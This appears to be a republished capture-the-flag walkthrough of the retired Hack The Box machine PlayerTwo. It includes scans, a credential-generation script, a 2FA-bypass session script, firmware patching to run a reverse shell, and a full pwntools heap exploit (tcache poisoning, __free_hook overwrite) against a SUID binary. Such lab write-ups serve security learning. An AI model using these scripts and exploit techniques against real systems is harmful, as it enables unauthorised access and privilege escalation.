PlayerTwo: Hack The Box Walkthrough
source link: https://hackso.me/player2-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
This post documents the complete walkthrough of PlayerTwo, a retired vulnerable VM created by MrR3boot and b14ckh34rt , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
PlayerTwo is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun1 -p1-65535,U:1-65535 10.10.10.170 --rate=700 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-12-17 08:52:24 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.170 Discovered open port 22/tcp on 10.10.10.170 Discovered open port 8545/tcp on 10.10.10.170
Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p22,80,8545 -A -oN nmap.txt 10.10.10.170 ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 0e:7b:11:2c:5e:61:04:6b:e8:1c:bb:47:b8:4d:fe:5a (RSA) | 256 18:a0:87:56:64:06:17:56:4d:6a:8c:79:4b:61:56:90 (ECDSA) |_ 256 b6:4b:fc:e9:62:08:5a:60:e0:43:69:af:29:b3:27:14 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) 8545/tcp open http (PHP 7.2.24-0ubuntu0.18.04.1) | fingerprint-strings: | GetRequest: | HTTP/1.1 404 Not Found | Date: Tue, 17 Dec 2019 09:04:04 GMT | Connection: close | X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1 | Content-Type: application/json |_ {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"GET /"}} | http-methods: |_ Supported Methods: GET HEAD POST |_http-title: Site doesn't have a title (application/json).
Looks like we have two http
services. This is how they look like.
80/tcp
8545/tcp
A quick Google search on twirp_invalid_route
reveals that we might be looking at Twirp .
Directory/File Enumeration
We’d better put player2.htb
into /etc/hosts
and see what happens.
Very uplifting! Now, let’s see what gobuster
can find.
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -t 20 -u http://player2.htb/ =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://player2.htb/ [+] Threads: 20 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Expanded: true [+] Timeout: 10s =============================================================== 2019/12/17 09:25:12 Starting gobuster =============================================================== http://player2.htb/.htaccess (Status: 403) http://player2.htb/.htpasswd (Status: 403) http://player2.htb/.hta (Status: 403) http://player2.htb/assets (Status: 301) http://player2.htb/images (Status: 301) http://player2.htb/index (Status: 200) http://player2.htb/index.php (Status: 200) http://player2.htb/mail (Status: 200) http://player2.htb/proto (Status: 301) http://player2.htb/server-status (Status: 403) http://player2.htb/src (Status: 301) http://player2.htb/vendor (Status: 301) =============================================================== 2019/12/17 09:26:24 Finished ===============================================================
Nothing I can immediately use really but if you looked at the site ( player2.htb
), you’ll notice that there’s another subdomain, product.player2.htb
. This is how it looks like.
Hmm. A login page??!! Likewise, we’ll put product.player2.htb
into /etc/hosts
and have another go at gobuster
.
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -t 20 -u http://product.player2.htb/ =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://product.player2.htb/ [+] Threads: 20 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Expanded: true [+] Timeout: 10s =============================================================== 2019/12/17 17:43:29 Starting gobuster =============================================================== http://product.player2.htb/.hta (Status: 403) http://product.player2.htb/.htaccess (Status: 403) http://product.player2.htb/.htpasswd (Status: 403) http://product.player2.htb/api (Status: 301) http://product.player2.htb/assets (Status: 301) http://product.player2.htb/conn (Status: 200) http://product.player2.htb/home (Status: 302) http://product.player2.htb/images (Status: 301) http://product.player2.htb/index (Status: 200) http://product.player2.htb/index.php (Status: 200) http://product.player2.htb/mail (Status: 200) http://product.player2.htb/server-status (Status: 403) =============================================================== 2019/12/17 17:44:23 Finished ===============================================================
What a shit show! I have nothing.
Twitch Twirp
Meet Twirp, a simple RPC framework built on protobuf. As you probably have guessed by now, the Twirp service is behind 8545/tcp
but we have no way of communicating to it.
In order to talk to the backend service, I need to know the service definition, a plain text file ending with .proto
extension according to the example in the documentation. Let’s see if gobuster
can find this file. I have a few suspect locations:
- player2.htb/proto
- player2.htb/src
- product.player2.htb/api
# gobuster dir -w dirbuster.txt -e -t 64 -x proto -u http://player2.htb/proto/ =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://player2.htb/proto/ [+] Threads: 64 [+] Wordlist: dirbuster.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: proto [+] Expanded: true [+] Timeout: 10s =============================================================== 2019/12/18 06:11:18 Starting gobuster =============================================================== http://player2.htb/proto/generated.proto (Status: 200) Progress: 56604 / 220547 (25.67%)^C [!] Keyboard interrupt detected, terminating. =============================================================== 2019/12/18 06:18:49 Finished ===============================================================
Woohoo. There’s a hit at player2.htb/proto
!
Protobuf vs JSON
For some reason I couldn’t get the JSONclient to work with cURL. Good thing there’s still ProtobufClient available to use which is Twirp’s recommendation by the way. With that, I wrote a simple script to generate credentials based on the service definition above.
gencreds.sh
#!/bin/bash HOST=product.player2.htb PORT=8545 COUNT=$1 echo "count:$COUNT" \ | protoc --encode twirp.player2.auth.Number generated.proto \ | curl -s \ -XPOST \ -H "Content-Type: application/protobuf" \ --data-binary @- \ http://$HOST:$PORT/twirp/twirp.player2.auth.Auth/GenCreds \ | protoc --decode twirp.player2.auth.Creds generated.proto echo
I generated 100 pairs of username and password, out of which there are four unique usernames and passwords respectively.
name.txt
0xdf jkr mprox snowscan
pass.txt
Lp-+Q8umLW5*7qkc <a href="/cdn-cgi/l/email-protection" data-cfemail="86f2d4c6e2d7e8f1e8dcc3edbfb3">[email protected]</a>*6# XHq7_WJTA?QD_?E2 ze+EKe-SGF^5uZQX
I then used these wordlists to try to login on product.player2.htb
with wfuzz
.
# wfuzz -w name.txt -w pass.txt -d "username=FUZZ&password=FUZ2Z&Submit=Sign+In" --hs "Nope" http://product.player2.htb/ ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://product.player2.htb/ Total requests: 16 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000003: C=302 0 L 0 W 0 Ch "0xdf - XHq7_WJTA?QD_?E2" 000010: C=302 0 L 0 W 0 Ch "mprox - <a href="/cdn-cgi/l/email-protection" data-cfemail="4b3f190b2f1a253c25110e20727e">[email protected]</a>*6#" Total time: 2.814284 Processed Requests: 16 Filtered Requests: 14 Requests/sec.: 5.685282
Overcoming two-factor authentication
Any of the pairs of credentials above work but we are faced with another problem: two-factor authentication. There’s another layer of authentication at product.player2.htb/totp
.
Recall the /api
path discovered above? Perhaps it has something to do with TOTP?
# curl -i http://product.player2.htb/api/totp HTTP/1.1 200 OK Date: Thu, 19 Dec 2019 03:30:22 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: PHPSESSID=jn1971v51c1ag0l1epir7fqtnp; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 25 Content-Type: application/json {"error":"Cannot GET \/"}
This is great news actually. For one, we know that /api/totp
exists and that we can’t use GET. Let’s try with POST.
# curl -i -XPOST http://product.player2.htb/api/totp HTTP/1.1 200 OK Date: Thu, 19 Dec 2019 03:31:58 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: PHPSESSID=v2umq1s5uks3kvdd4nq3il7vgl; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 27 Content-Type: application/json {"error":"Invalid Session"}
Let’s introduce the PHPSESSID cookie we obtained earlier after the successful logon and the appropriate Content-Type.
# curl -i -XPOST -H "Content-Type: application/json" -b "PHPSESSID=qdm4oas8g2e5uto1lrug035p0o" http://product.player2.htb/api/totp HTTP/1.1 200 OK Date: Thu, 19 Dec 2019 03:32:46 GMT Server: Apache/2.4.29 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 26 Content-Type: application/json {"error":"Invalid action"}
Getting warmer. Let’s introduce some action
.
# curl -i -H "Content-Type: application/json" -b "PHPSESSID=qdm4oas8g2e5uto1lrug035p0o" -d '{"action": "hello"}' http://product.player2.htb/api/totp HTTP/1.1 200 OK Date: Thu, 19 Dec 2019 03:35:54 GMT Server: Apache/2.4.29 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 30 Content-Type: application/json {"error":"Missing parameters"}
Hmm. We now have missing parameters. I wonder what that means…Maybe we can use the API to generate the backup codes?
# curl -i -H "Content-Type: application/json" -b "PHPSESSID=qdm4oas8g2e5uto1lrug035p0o" -d '{"action": "backup_codes"}' http://product.player2.htb/api/totp HTTP/1.1 200 OK Date: Thu, 19 Dec 2019 03:37:41 GMT Server: Apache/2.4.29 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 39 Content-Type: application/json {"user":"0xdf","code":"91231238385454"}
Bingo! Armed with this insight, I wrote a simple script to grab an authenticated session cookie for session replay.
auth.sh
#!/bin/bash HOST=product.player2.htb USER=$1 PASS=$2 COOKIE=$(mktemp -u) PROXY=http://127.0.0.1:8080 curl -s \ -c $COOKIE \ -H "Referer: http://$HOST/" \ -L \ -d "username=$USER&password=$PASS&Submit=Sign+In" \ -o /dev/null \ http://$HOST/ BACKUP=$(curl -s \ -b $COOKIE \ -H "Content-Type: application/json" \ -d '{"action": "backup_codes"}' \ http://$HOST/api/totp \ | cut -d'"' -f8) curl -s \ -b $COOKIE \ -H "Referer: http://$HOST/totp" \ -L \ -d "otp=$BACKUP&Submit=Submit" \ -o /dev/null \ http://$HOST/totp cat $COOKIE | sed '$!d' | awk '{ print $NF }' # clean up rm -rf $COOKIE
Let’s grab an authenticated session cookie and see what gives.
Awesome!
Protobs Documentation
After getting into the Protobs home page, there’s a documentation about the Protobs firmware at http://product.player2.htb/protobs.pdf
Right off the bat I noticed something amiss. The bootloader will try to load the main firmware regardless of whether the update signature is valid or not. At the bottom of the documentation is the location to download the firmware and where to upload the firmware as a tarball.
Analysis of Protobs.bin
According to the documentation, Protobs.bin
is made up of 64-byte signature at the top while the remainder is code, specifically, an ELF file.
# binwalk Protobs.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 64 0x40 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
Let’s extract the ELF file for further analysis.
# dd if=Protobs.bin of=protobs skip=64 bs=1
Now, let’s run it with ltrace
.
Interesting. It’s calling the system
library function with stty
. What’s the offset to stty
in Protobs.bin
?
I think I know how this works. We can modify the longer stty
string with a hexeditor to something of use to us, say, a msfvenom
-generated reverse shell.
Low-Privilege Shell
Long story short, I uploaded the modified tarball twice. The first time to download the reverse shell, the second time to make the reverse shell executable and to run it. This is the upload page ( product.player2.htb/protobs/
).
The first uploaded tarball to download our reverse shell to /tmp
.
The second uploaded tarball to make our reverse shell executable and to run it.
And we got shell!
Mosquitto MQTT
During enumeration of www-data
’s account, I notice that the MQTT broker is listening at 1883/tcp
and that mosquitto_pub
and mosquitto_sub
are installed. This tells me that I should probably be subscribing for topics to snoop. I tried mosquitto_sub -t \#
at first. I got nothing except Protobs broadcast messages like so.
It then dawned on me that I should take a look at the $SYS topics as well. Note that mosquitto supports two wildcards, “+” matches a single level of hierarchy while “#” matches all subsequent levels of hierarchy. The $SYS hierarchy does not match a subscription of “#”. If you want to observe the entire $SYS hierarchy, subscribe to $SYS/#.
Check this out.
$ mosquitto_sub -v -t '$SYS/#'
Looks like we have a RSA key!
Getting user.txt
Armed with the RSA private key, let’s see if we can log in to observer
’s account.
Awesome.
The file user.txt
is at observer
’s home directory.
Privilege Escalation
During enumeration of observer’s account, I notice another documention at /home/observer/Development
.
In the documentation, there’s a mention of a configuration utility, but where?
It’s not hard to find it.
The SUID executable must be our ticket to root
.
Vulnerability Analysis of Protobs
There’s a off-by-one bug when the description is read
from stdin
. The description size MUST BE less than or equal to the bytes read.
Exploit Development
The binary uses glibc-2.29, which has tcache enabled and double-free mitigation. The binary also has the following protection mechanisms on.
So, my game plan is as follows:
- Leak libc
- Bypass tcache double-free mitigation in glibc-2.29
- tcache poisoning to trick
malloc
into returning__free_hook
- Overwrite
__free_hook
tosystem
Here’s my heavily commented exploit.
exploit.py
from pwn import * # Context context.arch = "amd64" context.terminal = ["xterm", "-e", "sh", "-c"] # Helper functions # # There are two `malloc()'s in a new configuration. # The first malloc has a fixed size - malloc(0x38). # The second malloc is controlled by the description size. # def add(c, size, data): r.recvuntil("$ ") r.sendline('2') r.recvuntil("]: ") if len(c) == 1: r.sendline(c * 0x14) else: r.sendline(c) r.recvuntil("]: ") r.sendline(str(0)) r.recvuntil("]: ") r.sendline(str(0)) r.recvuntil("]: ") r.sendline(str(0)) r.recvuntil("]: ") r.sendline(str(0)) r.recvuntil("]: ") r.sendline(str(0)) r.recvuntil("]: ") r.sendline(str(size)) if size > 0: r.recvuntil("]: ") else: r.recvuntil('\n') r.sendline(data) def display(index): r.recvuntil("$ ") r.sendline('3') r.recvuntil("]: ") r.sendline(str(index)) def delete(index): r.recvuntil("$ ") r.sendline('4') r.recvuntil("]: ") r.sendline(str(index)) def show(): r.recvuntil("$ ") r.sendline('1') def bye(): r.recvuntil("$ ") r.sendline('5') # Process information binary = "./Protobs" libc = "./libc-so.6" host = "10.10.10.170" port = 31337 # Attach gdb here # # 0x400cf0 -> list_configs # 0x401012 -> new_config # 0x400e95 -> read_config # 0x400da0 -> del_config # def debug(breakpoints): script = "" for bp in breakpoints: script += "break *%s\n" % hex(bp) script += "continue" gdb.attach(r, script) def start(): if not args.REMOTE: return process(binary) else: return remote(host, port) r = start() if args.GDB: debug([0x400cf0, 0x401012, 0x400e95, 0x400da0]) # Vulnerability Analysis # --------------------- # There's a off-by-one bug when the description is `read' from stdin. # The description size MUST BE less than or equal to the bytes read. # # Exploit Development # ------------------- # 1) Leak GLIBC # # Preparation: # 7 pairs of chunk for tcache bins. # 2 pairs of chunk: one pair for unsorted bin; another to prevent top chunk consolidation. for i in range(8): c = chr(0x41 + i) add(c, 0x100, c * 0x100) add('\x49', 0x20, '\x49' * 0x20) # prevent top chunk consolidation # free() the first 8 pairs of chunk # The first 7 pairs fill up tcache[0x40] and tcache[0x110] bins respectively. # The 8th pair fills up fastbin[0x40] and unsorted[0x110] bins respectively. for i in range(8): delete(i) # Empty tcache bins in LIFO manner for i in range(7): c = chr(0x41 + i) add(c, 0x100, c * 0x100) # Add the 8th pair of chunk # The first malloc() will grab a chunk from fastbin[0x40] since tcache bins are empty. # If description size is 0, the second malloc() is skipped; FD and BK are untouched. add('\x48', 0x0, '') # Display description which contains the address of main_arena. display(7) r.recvuntil("Description ]: ") libc = ELF("./libc.so.6") # Calculate libc, __free_hook and system main_arena_off = 0x1e4ca0 main_arena = unpack(r.recv(6), 48) libc_base = main_arena - main_arena_off libc.address = libc_base free_hook = libc.symbols["__free_hook"] system = libc.symbols["system"] shell = "/bin/sh\x00" info("libc : %s" % hex(libc_base)) info("__free_hook : %s" % hex(free_hook)) info("system : %s" % hex(system)) # Exploit Development # ------------------- # 2) Bypass tcache double-free mitigation in GLIBC 2.29 # # Preparation: # free() the first pair since we need a 0x40 chunk from the tcache[0x40] bin. # Add a 0x40 chunk and a 0x120 chunk. The 0x120 chunk is allocated from top chunk. # It's important that the 0x120 chunk is next to the last allocated chunk (0x30). # We are going to use the off-by-one bug to change the size of the 0x120 chunk to 0x100. delete(0) add('\x48', 0x110, '\x48' * 0x110) # first pair # free() the 1st pair to fill up tcache[0x40] and tcache[0x120] bins respectively. delete(0) # free() and add the 9th pair # Make use of the off-by-one bug to change the size of the 0x120 chunk to 0x100. delete(8) add('\x49', 0x28, '\x49' * 0x28) # free() and add the first pair # Add "/bin/sh\x00" for later use. delete(0) add('\x49', 0x28, shell + '\x49' * (0x28 - len(shell))) # Add and free() the 9th pair to fill up tcache[0x100] bin. # We skip the second malloc() because of the re-sized pointer. add('\x49', 0x0, '') delete(8) # At this point, this is what the tcache bins look like. # tcache[0x40] -> 0x604a40 # tcache[0x100] -> 0x604d50 # tcache[0x120] -> 0x604d50 # # Add and free() the 9th pair. # The first malloc() grabs from tcache[0x40] while the second malloc() grabs from tcache[0x120] add('\x49', 0x110, '\x49' * 0x110) delete(8) # At this point, this is what the tcache bins look like. # tcache[0x40] -> 0x604a40 # tcache[0x100] -> 0x604d50 -> 0x604d50 # # Add a 9th pair to grab a chunk from tcache[0x40] and tcache[0x100] bins respectively. # The FD of the chunk from tcache[0x100] bin is changed to __free_hook. add('\x49', 0xf0, p64(free_hook) + '\x49' * 0xe8) # At this point, this is what the tcache bins look like. # tcache[0x100] -> 0x604d50 -> 0x7ffff7fc85a8 # Add a 10th and 11th pair to grab 2 chunks from tcache[0x100] bin. add('\x50', 0xf0, '\x50' * 0xf0) add('\x51', 0xf0, p64(system) * 0xe8) # overwrite __free_hook to system # We got shell! delete(0) r.interactive()
Exploiting Protobs
I find it easier to scp
a static socat
to the remote machine than copying the pwntools
library.
# scp -i observer.key socat <a href="/cdn-cgi/l/email-protection" data-cfemail="c8a7aabbadbabeadba88f9f8e6f9f8e6f9f8e6f9fff8">[email protected]</a>:/dev/shm
Once socat
is chmod
to executable, we can do the following.
Now let’s launch our attack on Protobs.
With a root(euid=0)
shell, getting root.txt
is trivial.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK